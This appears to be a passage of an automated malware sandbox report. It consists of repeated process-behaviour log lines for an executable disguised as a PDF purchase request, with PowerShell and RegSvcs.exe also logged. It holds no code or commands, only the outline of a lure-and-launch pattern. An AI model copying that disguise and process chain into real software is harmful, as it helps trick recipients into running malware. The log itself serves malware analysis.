Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
